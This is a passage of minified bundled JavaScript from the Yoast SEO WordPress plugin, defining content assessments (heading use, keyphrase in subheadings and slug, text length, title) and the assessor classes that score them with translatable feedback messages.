(0,s.__)("%1$sSingle title%3$s: H1s should only be used as your main title. Find all H1s in your text that aren't your main title and %2$schange them to a lower heading level%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}getMarks(){return this._h1s.map((function(e){return new u.default({original:"<h1>"+e.content+"</h1>",marked:"<h1>"+(0,o.default)(e.content)+"</h1>",position:{startOffset:e.position.startOffset,endOffset:e.position.endOffset,startOffsetBlock:0,endOffsetBlock:e.position.endOffset-e.position.startOffset,clientId:e.position.clientId}})}))}isApplicable(e){return e.hasText()}}t.default=d},17915:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=r(84285),a=c(r(9017)),o=r(33140),l=r(76663),u=c(r(73054));function c(e){return e&&e.__esModule?e:{default:e}}class d extends a.default{constructor(e={}){super();const t={parameters:{lowerBoundary:.3,upperBoundary:.75},scores:{noMatches:3,tooFewMatches:3,goodNumberOfMatches:9,tooManyMatches:3},urlTitle:(0,o.createAnchorOpeningTag)("https://yoa.st/33m"),urlCallToAction:(0,o.createAnchorOpeningTag)("https://yoa.st/33n")};this.identifier="subheadingsKeyword",this._config=(0,n.merge)(t,e)}getResult(e,t){this._subHeadings=t.getResearch("matchKeywordInSubheadings");const r=new u.default;this._minNumberOfSubheadings=Math.ceil(this._subHeadings.count*this._config.parameters.lowerBoundary),this._maxNumberOfSubheadings=Math.floor(this._subHeadings.count*this._config.parameters.upperBoundary);const s=this.calculateResult();return r.setScore(s.score),r.setText(s.resultText),r}hasSubheadings(e){return(0,i.getSubheadingsTopLevel)(e.getText()).length>0}isApplicable(e){return e.hasText()&&e.hasKeyword()&&this.hasSubheadings(e)}hasTooFewMatches(){return this._subHeadings.matches>0&&this._subHeadings.matches<this._minNumberOfSubheadings}hasTooManyMatches(){return this._subHeadings.count>1&&this._subHeadings.matches>this._maxNumberOfSubheadings}isOneOfOne(){return 1===this._subHeadings.count&&1===this._subHeadings.matches}hasGoodNumberOfMatches(){return(0,l.inRangeStartEndInclusive)(this._subHeadings.matches,this._minNumberOfSubheadings,this._maxNumberOfSubheadings)}calculateResult(){return this.hasTooFewMatches()?{score:this._config.scores.tooFewMatches,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in subheading%3$s: %2$sUse more keyphrases or synonyms in your H2 and H3 subheadings%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.hasTooManyMatches()?{score:this._config.scores.tooManyMatches,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in subheading%3$s: More than 75%% of your H2 and H3 subheadings reflect the topic of your copy. That's too much. %2$sDon't over-optimize%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this.isOneOfOne()?{score:this._config.scores.goodNumberOfMatches,resultText:(0,s.sprintf)(
/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag,
        %3$d expands to the number of subheadings containing the keyphrase. */
(0,s.__)("%1$sKeyphrase in subheading%2$s: Your H2 or H3 subheading reflects the topic of your copy. Good job!","wordpress-seo"),this._config.urlTitle,"</a>",this._subHeadings.matches)}:this.hasGoodNumberOfMatches()?{score:this._config.scores.goodNumberOfMatches,resultText:(0,s.sprintf)(
/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag,
        %3$d expands to the number of subheadings containing the keyphrase. */
(0,s._n)("%1$sKeyphrase in subheading%2$s: %3$s of your H2 and H3 subheadings reflects the topic of your copy. Good job!","%1$sKeyphrase in subheading%2$s: %3$s of your H2 and H3 subheadings reflect the topic of your copy. Good job!",this._subHeadings.matches,"wordpress-seo"),this._config.urlTitle,"</a>",this._subHeadings.matches)}:{score:this._config.scores.noMatches,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sKeyphrase in subheading%3$s: %2$sUse more keyphrases or synonyms in your H2 and H3 subheadings%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}}t.default=d},69360:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(49061),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={parameters:{recommendedMaximum:0},scores:{bad:2},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/34l"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/34m")};this.identifier="textCompetingLinks",this._config=(0,n.merge)(t,e)}getResult(e,t){const r=new o.default;this.totalAnchorsWithKeyphrase=t.getResearch("getAnchorsWithKeyphrase").anchorsWithKeyphraseCount;const s=this.calculateResult();return(0,n.isUndefined)(s)||(r.setScore(s.score),r.setText(s.resultText),r.setHasMarks(!1)),r}isApplicable(e){return e.hasText()&&e.hasKeyword()}calculateResult(){if(this.totalAnchorsWithKeyphrase>this._config.parameters.recommendedMaximum)return{score:this._config.scores.bad,resultText:(0,s.sprintf)(/* translators:  %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sLink keyphrase%3$s: You're linking to another page with the words you want this page to rank for. %2$sDon't do that%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}}t.default=u},57480:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={recommendedMinimum:300,slightlyBelowMinimum:250,belowMinimum:200,veryFarBelowMinimum:100,scores:{recommendedMinimum:9,slightlyBelowMinimum:6,belowMinimum:3,farBelowMinimum:-10,veryFarBelowMinimum:-20},countTextIn:{singular:(0,s.__)("word","wordpress-seo"),plural:(0,s.__)("words","wordpress-seo")},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/34n"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/34o"),cornerstoneContent:!1,customContentType:""};this.identifier="textLength",this._config=(0,n.merge)(t,e)}getResult(e,t){const r=t.getResearch("wordCountInText");t.getConfig("textLength")&&(this._config=this.getLanguageSpecificConfig(t)),t.getConfig("countCharacters")&&(this._config.countTextIn.singular=(0,s.__)("character","wordpress-seo"),this._config.countTextIn.plural=(0,s.__)("characters","wordpress-seo"));const n=this.calculateResult(r.count),i=new o.default;return i.setScore(n.score),i.setText(n.resultText),i}getLanguageSpecificConfig(e){const t=this._config,r=e.getConfig("textLength");return r.hasOwnProperty(t.customContentType)?(0,n.merge)(t,r[t.customContentType]):!0===t.cornerstoneContent&&""===t.customContentType&&r.hasOwnProperty("defaultCornerstone")?(0,n.merge)(t,r.defaultCornerstone):(0,n.merge)(t,r.defaultAnalysis)}calculateTaxonomyResult(e){return e>=this._config.recommendedMinimum?{score:this._config.scores.recommendedMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
        %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag,
        %4$s expands to the word 'words' or 'characters'. */
(0,s.__)("%2$sText length%3$s: The text contains %1$d %4$s. Good job!","wordpress-seo"),e,this._config.urlTitle,"</a>",this._config.countTextIn.plural)}:(0,n.inRange)(e,this._config.slightlyBelowMinimum,this._config.recommendedMinimum)?{score:this._config.scores.slightlyBelowMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
        %2$s expands to a link on yoast.com, %3$s expands to a link on yoast.com,
        %4$s expands to the anchor end tag, %5$d expands to the recommended minimum of words / characters,
        %6$s expands to the word 'words' or 'characters'. */
(0,s.__)("%2$sText length%4$s: The text contains %1$d %6$s. This is slightly below the recommended minimum of %5$d %6$s. %3$sAdd more content%4$s.","wordpress-seo"),e,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.recommendedMinimum,this._config.countTextIn.plural)}:(0,n.inRange)(e,this._config.veryFarBelowMinimum,this._config.slightlyBelowMinimum)?{score:this._config.scores.belowMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
        		%2$s expands to a link on yoast.com, %3$s expands to a link on yoast.com,
        		%4$s expands to the anchor end tag, %5$d expands to the recommended minimum of words / characters,
        		%6$s expands to the word 'word' or 'character', %7$s expands to the word 'words' or 'characters'. */
(0,s._n)("%2$sText length%4$s: The text contains %1$d %6$s. This is below the recommended minimum of %5$d %7$s. %3$sAdd more content%4$s.","%2$sText length%4$s: The text contains %1$d %7$s. This is below the recommended minimum of %5$d %7$s. %3$sAdd more content%4$s.",e,"wordpress-seo"),e,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.recommendedMinimum,this._config.countTextIn.singular,this._config.countTextIn.plural)}:{score:this._config.scores.veryFarBelowMinimum,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag. */
(0,s.__)("%1$sText length%3$s: %2$sPlease add some content%3$s.","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}calculateResult(e){if(["taxonomyAssessor","collectionSEOAssessor","collectionCornerstoneSEOAssessor"].includes(this._config.customContentType))return this.calculateTaxonomyResult(e);if(e>=this._config.recommendedMinimum)return{score:this._config.scores.recommendedMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
        %2$s expands to a link on yoast.com, %3$s expands to the anchor end tag,
        %4$s expands to the word 'words' or 'characters'. */
(0,s.__)("%2$sText length%3$s: The text contains %1$d %4$s. Good job!","wordpress-seo"),e,this._config.urlTitle,"</a>",this._config.countTextIn.plural)};if((0,n.inRange)(e,0,this._config.belowMinimum)){let t=this._config.scores.farBelowMinimum;return(0,n.inRange)(e,0,this._config.veryFarBelowMinimum)&&(t=this._config.scores.veryFarBelowMinimum),{score:t,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
        %2$s expands to a link on yoast.com, %3$s expands to a link on yoast.com,
        %4$s expands to the anchor end tag, %5$d expands to the recommended minimum of words / characters,
        %6$s expands to the word 'word' or 'character', %7$s expands to the word 'words' or 'characters'. */
(0,s._n)("%2$sText length%4$s: The text contains %1$d %6$s. This is far below the recommended minimum of %5$d %7$s. %3$sAdd more content%4$s.","%2$sText length%4$s: The text contains %1$d %7$s. This is far below the recommended minimum of %5$d %7$s. %3$sAdd more content%4$s.",e,"wordpress-seo"),e,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.recommendedMinimum,this._config.countTextIn.singular,this._config.countTextIn.plural)}}return(0,n.inRange)(e,this._config.slightlyBelowMinimum,this._config.recommendedMinimum)?!1===this._config.cornerstoneContent?{score:this._config.scores.slightlyBelowMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
          %2$s expands to a link on yoast.com, %3$s expands to a link on yoast.com,
          %4$s expands to the anchor end tag, %5$d expands to the recommended minimum of words / characters,
          %6$s expands to the word 'words' or 'characters'. */
(0,s.__)("%2$sText length%4$s: The text contains %1$d %6$s. This is slightly below the recommended minimum of %5$d %6$s. %3$sAdd a bit more copy%4$s.","wordpress-seo"),e,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.recommendedMinimum,this._config.countTextIn.plural)}:{score:this._config.scores.slightlyBelowMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
        	%2$s expands to a link on yoast.com, %3$s expands to a link on yoast.com,
        	%4$s expands to the anchor end tag, %5$d expands to the recommended minimum of words / characters,
        	%6$s expands to the word 'words' or 'characters'. */
(0,s.__)("%2$sText length%4$s: The text contains %1$d %6$s. This is below the recommended minimum of %5$d %6$s. %3$sAdd more content%4$s.","wordpress-seo"),e,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.recommendedMinimum,this._config.countTextIn.plural)}:{score:this._config.scores.belowMinimum,resultText:(0,s.sprintf)(
/* translators: %1$d expands to the number of words / characters in the text,
      		%2$s expands to a link on yoast.com, %3$s expands to a link on yoast.com,
      		%4$s expands to the anchor end tag, %5$d expands to the recommended minimum of words / characters,
      		%6$s expands to the word 'words' or 'characters'. */
(0,s.__)("%2$sText length%4$s: The text contains %1$d %6$s. This is below the recommended minimum of %5$d %6$s. %3$sAdd more content%4$s.","wordpress-seo"),e,this._config.urlTitle,this._config.urlCallToAction,"</a>",this._config.recommendedMinimum,this._config.countTextIn.plural)}}}t.default=u},77428:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=l(r(9017)),i=l(r(73054)),a=r(49061),o=r(81831);function l(e){return e&&e.__esModule?e:{default:e}}class u extends n.default{constructor(e={}){super(),this.identifier="textTitleAssessment",this._config=(0,s.merge)({scores:{good:9,bad:-1e4},urlTitle:"https://yoa.st/4nh",urlCallToAction:"https://yoa.st/4ni",callbacks:{}},e)}getTextTitle(e){let t=e.getTextTitle();return t=(0,o.unifyAllSpaces)(t),t=t.trim(),t.length>0}getResult(e){const t=this.getTextTitle(e),r=this.calculateResult(t),s=new i.default;return s.setScore(r.score),s.setText(r.resultText),s}calculateResult(e){const{good:t,bad:r}=this.getFeedbackStrings();return e?{score:this._config.scores.good,resultText:t}:{score:this._config.scores.bad,resultText:r}}getFeedbackStrings(){const e=(0,a.createAnchorOpeningTag)(this._config.urlTitle),t=(0,a.createAnchorOpeningTag)(this._config.urlCallToAction);if(!this._config.callbacks.getResultTexts){const r={good:"%1$sTitle%3$s: Your page has a title. Well done!",bad:"%1$sTitle%3$s: Your page does not have a title yet. %2$sAdd one%3$s!"};return(0,s.mapValues)(r,(r=>this.formatResultText(r,e,t)))}return this._config.callbacks.getResultTexts({urlTitleAnchorOpeningTag:e,urlActionAnchorOpeningTag:t})}}t.default=u},80009:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.UrlKeywordAssessment=t.SlugKeywordAssessment=void 0;var s=r(65736),n=r(92819),i=l(r(9017)),a=r(33140),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}class u extends i.default{constructor(e={}){super();const t={scores:{okay:6,good:9},urlTitle:(0,a.createAnchorOpeningTag)("https://yoa.st/33o"),urlCallToAction:(0,a.createAnchorOpeningTag)("https://yoa.st/33p")};this.identifier="slugKeyword",this._config=(0,n.merge)(t,e)}getResult(e,t){this._keywordInSlug=t.getResearch("keywordCountInSlug");const r=new o.default,n=this.calculateResult();return r.setScore(n.score),r.setText(n.resultText),r.getScore()<9&&(r.setHasJumps(!0),r.setEditFieldName((0,s.__)("slug","wordpress-seo"))),r}isApplicable(e,t){return!e.isFrontPage()&&e.hasKeyword()&&e.hasSlug()&&t.hasResearch("keywordCountInSlug")}calculateResult(){return this._keywordInSlug.keyphraseLength<3?100===this._keywordInSlug.percentWordMatches?{score:this._config.scores.good,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase in slug%2$s: Great work!","wordpress-seo"),this._config.urlTitle,"</a>")}:{score:this._config.scores.okay,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase in slug%3$s: (Part of) your keyphrase does not appear in the slug. %2$sChange that%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}:this._keywordInSlug.percentWordMatches>50?{score:this._config.scores.good,resultText:(0,s.sprintf)(/* translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase in slug%2$s: More than half of your keyphrase appears in the slug. That's great!","wordpress-seo"),this._config.urlTitle,"</a>")}:{score:this._config.scores.okay,resultText:(0,s.sprintf)(/* translators: %1$s and %2$s expand to links on yoast.com, %3$s expands to the anchor end tag */
(0,s.__)("%1$sKeyphrase in slug%3$s: (Part of) your keyphrase does not appear in the slug. %2$sChange that%3$s!","wordpress-seo"),this._config.urlTitle,this._config.urlCallToAction,"</a>")}}}t.SlugKeywordAssessment=u,t.UrlKeywordAssessment=class extends u{constructor(e={}){super(e),this.identifier="urlKeyword",console.warn("This object is deprecated, use SlugKeywordAssessment instead.")}},t.default=u},90488:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=d(r(73054)),a=r(7104),o=d(r(49781)),l=d(r(85551)),u=d(r(52505)),c=r(47661);function d(e){return e&&e.__esModule?e:{default:e}}t.default=class{constructor(e,t){this.type="assessor",this.setResearcher(e),this._assessments=[],this._options=t||{}}setResearcher(e){if((0,n.isUndefined)(e))throw new l.default("The assessor requires a researcher.");this._researcher=e}getAvailableAssessments(){return this._assessments}isApplicable(e,t,r){return!e.hasOwnProperty("isApplicable")&&"function"!=typeof e.isApplicable||e.isApplicable(t,r)}hasMarker(e){return(0,n.isFunction)(this._options.marker)&&(e.hasOwnProperty("getMarks")||"function"==typeof e.getMarks)}getSpecificMarker(){return this._options.marker}getPaper(){return this._lastPaper}getMarker(e,t,r){const s=this._options.marker;return function(){let n=e.getMarks(t,r);n=(0,u.default)(n),s(t,n)}}assess(e){this._researcher.setPaper(e);const t=new o.default(this._researcher),r=e._attributes&&e._attributes.shortcodes;e.setTree((0,a.build)(e,t,r));let s=this.getAvailableAssessments();this.results=[],s=(0,n.filter)(s,function(t){return this.isApplicable(t,e,this._researcher)}.bind(this)),this.setHasMarkers(!1),this.results=(0,n.map)(s,this.executeAssessment.bind(this,e,this._researcher)),this._lastPaper=e}setHasMarkers(e){this._hasMarkers=e}hasMarkers(){return this._hasMarkers}executeAssessment(e,t,r){let n;try{n=r.getResult(e,t),n.setIdentifier(r.identifier),n.hasMarks()&&(n.marks=r.getMarks(e,t),n.marks=(0,u.default)(n.marks)),n.hasMarks()&&this.hasMarker(r)&&(this.setHasMarkers(!0),n.setMarker(this.getMarker(r,e,t)))}catch(e){(0,c.showTrace)(e),n=new i.default,n.setScore(-1),n.setText((0,s.sprintf)(/* translators: %1$s expands to the name of the assessment. */
(0,s.__)("An error occurred in the '%1$s' assessment","wordpress-seo"),r.identifier,e))}return n}getValidResults(){return(0,n.filter)(this.results,function(e){return this.isValidResult(e)}.bind(this))}isValidResult(e){return e.hasScore()&&e.hasText()}calculateOverallScore(){const e=this.getValidResults(),t=e.reduce(((e,t)=>e+t.getScore()),0);return Math.round(t/(9*e.length)*100)||0}addAssessment(e,t){return t.hasOwnProperty("identifier")||(t.identifier=e),this.getAssessment(t.identifier)&&this.removeAssessment(t.identifier),this._assessments.push(t),!0}removeAssessment(e){const t=(0,n.findIndex)(this._assessments,(function(t){return t.hasOwnProperty("identifier")&&e===t.identifier}));-1!==t&&this._assessments.splice(t,1)}getAssessment(e){return(0,n.find)(this._assessments,(function(t){return t.hasOwnProperty("identifier")&&e===t.identifier}))}getApplicableAssessments(){const e=this.getAvailableAssessments();return(0,n.filter)(e,function(e){return this.isApplicable(e,this.getPaper(),this._researcher)}.bind(this))}}},19334:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(14174)),n=a(r(34847)),i=r(49061);function a(e){return e&&e.__esModule?e:{default:e}}class o extends s.default{constructor(e,t){super(e,t),this.type="collectionRelatedKeywordAssessor",this.addAssessment("metaDescriptionKeyword",new n.default({parameters:{recommendedMinimum:1},scores:{good:9,bad:3},urlTitle:(0,i.createAnchorOpeningTag)("https://yoa.st/shopify14"),urlCallToAction:(0,i.createAnchorOpeningTag)("https://yoa.st/shopify15")}))}}t.default=o},16330:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(92109)),n=a(r(57480)),i=r(49061);function a(e){return e&&e.__esModule?e:{default:e}}class o extends s.default{constructor(e,t){super(e,t),this.type="collectionCornerstoneSEOAssessor",this.addAssessment("textLength",new n.default({recommendedMinimum:30,slightlyBelowMinimum:10,veryFarBelowMinimum:1,urlTitle:(0,i.createAnchorOpeningTag)("https://yoa.st/shopify58"),urlCallToAction:(0,i.createAnchorOpeningTag)("https://yoa.st/shopify59"),cornerstoneContent:!0,customContentType:this.type}))}}t.default=o},14174:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=c(r(62178)),n=c(r(90575)),i=c(r(99815)),a=c(r(70966)),o=c(r(34847)),l=c(r(3139)),u=r(49061);function c(e){return e&&e.__esModule?e:{default:e}}class d extends s.default{constructor(e,t){super(e,t),this.type="collectionRelatedKeywordAssessor",this._assessments=[new n.default({urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify8"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify9")}),new i.default({isRelatedKeyphrase:!0,urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify10"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify11")}),new a.default({urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify12"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify13")}),new o.default({urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify14"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify15")}),new l.default({urlTitle:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify50"),urlCallToAction:(0,u.createAnchorOpeningTag)("https://yoa.st/shopify51")})]}}t.default=d},92109:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=m(r(44885)),n=m(r(90575)),i=m(r(99815)),a=m(r(70966)),o=m(r(34847)),l=m(r(3139)),u=m(r(70476)),c=m(r(57480)),d=m(r(46787)),h=m(r(46430)),f=m(r(80009)),p=m(r(47502)),g=r(49061);function m(e){return e&&e.__esModule?e:{default:e}}class _ extends s.default{constructor(e,t){super(e,t),this.type="collectionSEOAssessor",this._assessments=[new n.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify8"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify9")}),new i.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify10"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify11")}),new a.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify12"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify13")}),new o.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify14"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify15")}),new u.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify46"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify47")}),new c.default({recommendedMinimum:30,slightlyBelowMinimum:10,veryFarBelowMinimum:1,urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify58"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify59"),customContentType:this.type}),new d.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify24"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify25")}),new h.default({scores:{widthTooShort:9},urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify52"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify53")},!0),new f.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify26"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify27")}),new l.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify50"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify51")}),new p.default({urlTitle:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify54"),urlCallToAction:(0,g.createAnchorOpeningTag)("https://yoa.st/shopify55")})]}}t.default=_},45632:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=f(r(90488)),i=f(r(40774)),a=f(r(86089)),o=f(r(7261)),l=f(r(62318)),u=f(r(25636)),c=f(r(38196)),d=f(r(35780)),h=f(r(17413));function f(e){return e&&e.__esModule?e:{default:e}}class p extends n.default{constructor(e,t){super(e,t),this.type="contentAssessor",this._assessments=[new o.default,new i.default,new a.default,new l.default,new u.default,new d.default,new c.default]}calculatePenaltyPointsFullSupport(e){switch(e){case"bad":return 3;case"ok":return 2;default:return 0}}calculatePenaltyPointsPartialSupport(e){switch(e){case"bad":return 4;case"ok":return 2;default:return 0}}_allAssessmentsSupported(){const e=this._assessments.length;return this.getApplicableAssessments().length===e}calculatePenaltyPoints(){const e=this.getValidResults(),t=(0,s.map)(e,function(e){const t=(0,h.default)(e.getScore());return this._allAssessmentsSupported()?this.calculatePenaltyPointsFullSupport(t):this.calculatePenaltyPointsPartialSupport(t)}.bind(this));return(0,s.sum)(t)}_ratePenaltyPoints(e){if(1===this.getValidResults().length)return 30;if(this._allAssessmentsSupported()){if(e>6)return 30;if(e>4)return 60}else{if(e>4)return 30;if(e>2)return 60}return 90}calculateOverallScore(){if(0===this.getValidResults().length)return 30;const e=this.calculatePenaltyPoints();return this._ratePenaltyPoints(e)}}t.default=p},14539:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(45632)),n=a(r(86089)),i=a(r(7261));function a(e){return e&&e.__esModule?e:{default:e}}class o extends s.default{constructor(e,t){super(e,t),this.type="cornerstoneContentAssessor",this.addAssessment("subheadingsTooLong",new i.default({parameters:{slightlyTooMany:250,farTooMany:300,recommendedMaximumLength:250},applicableIfTextLongerThan:250,cornerstoneContent:!0})),this.addAssessment("textSentenceLength",new n.default({slightlyTooMany:20,farTooMany:25},!0))}}t.default=o},58557:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=i(r(62178)),n=i(r(8980));function i(e){return e&&e.__esModule?e:{default:e}}class a extends s.default{constructor(e,t){super(e,t),this.type="cornerstoneRelatedKeywordAssessor",this.addAssessment("imageKeyphrase",new n.default({scores:{withAltNonKeyword:3,withAlt:3,noAlt:3}}))}}t.default=a},66225:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=c(r(44885)),n=c(r(70476)),i=c(r(8980)),a=c(r(57480)),o=c(r(27661)),l=c(r(46430)),u=c(r(80009));function c(e){return e&&e.__esModule?e:{default:e}}class d extends s.default{constructor(e,t){super(e,t),this.type="cornerstoneSEOAssessor",this.addAssessment("metaDescriptionLength",new n.default({scores:{tooLong:3,tooShort:3}})),this.addAssessment("imageKeyphrase",new i.default({scores:{withAltNonKeyword:3,withAlt:3,noAlt:3}})),this.addAssessment("textLength",new a.default({recommendedMinimum:900,slightlyBelowMinimum:400,belowMinimum:300,scores:{belowMinimum:-20,farBelowMinimum:-20},cornerstoneContent:!0})),this.addAssessment("externalLinks",new o.default({scores:{noLinks:3}})),this.addAssessment("titleWidth",new l.default({scores:{widthTooShort:9}},!0)),this.addAssessment("slugKeyword",new u.default({scores:{okay:3}}))}}t.default=d},56466:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=a(r(90488)),n=a(r(90529)),i=a(r(96682));function a(e){return e&&e.__esModule?e:{default:e}}const o={infoLinks:{}};class l extends s.default{constructor(e,t={}){super(e,t),this.type="inclusiveLanguageAssessor",this._options=Object.assign({},o,t);const r=this._options.infoLinks;this._assessments=n.default.map((e=>(r[e.category]&&(e.learnMoreUrl=r[e.category]),new i.default(e))))}calculateOverallScore(){const e=this.getValidResults(),t=e.filter((e=>6===e.getScore()));return e.filter((e=>3===e.getScore())).length>=1?30:t.length>=1?60:90}}t.default=l},90603:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"Assessor",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"CollectionCornerstoneRelatedKeywordAssessor",{enumerable:!0,get:function(){return f.default}}),Object.defineProperty(t,"CollectionCornerstoneSEOAssessor",{enumerable:!0,get:function(){return p.default}}),Object.defineProperty(t,"CollectionRelatedKeywordAssessor",{enumerable:!0,get:function(){return g.default}}),Object.defineProperty(t,"CollectionSEOAssessor",{enumerable:!0,get:function(){return m.default}}),Object.defineProperty(t,"ContentAssessor",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"CornerstoneContentAssessor",{enumerable:!0,get:function(){return c.default}}),Object.defineProperty(t,"CornerstoneRelatedKeywordAssessor",{enumerable:!0,get:function(){return d.default}}),Object.defineProperty(t,"CornerstoneSEOAssessor",{enumerable:!0,get:function(){return h.default}}),Object.defineProperty(t,"InclusiveLanguageAssessor",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"ProductContentAssessor",{enumerable:!0,get:function(){return A.default}}),Object.defineProperty(t,"ProductCornerstoneContentAssessor",{enumerable:!0,get:function(){return _.default}}),Object.defineProperty(t,"ProductCornerstoneRelatedKeywordAssessor",{enumerable:!0,get:function(){return T.default}}),Object.defineProperty(t,"ProductCornerstoneSEOAssessor",{enumerable:!0,get:function(){return E.default}}),Object.defineProperty(t,"ProductRelatedKeywordAssessor",{enumerable:!0,get:function(){return y.default}}),Object.defineProperty(t,"ProductSEOAssessor",{enumerable:!0,get:function(){return 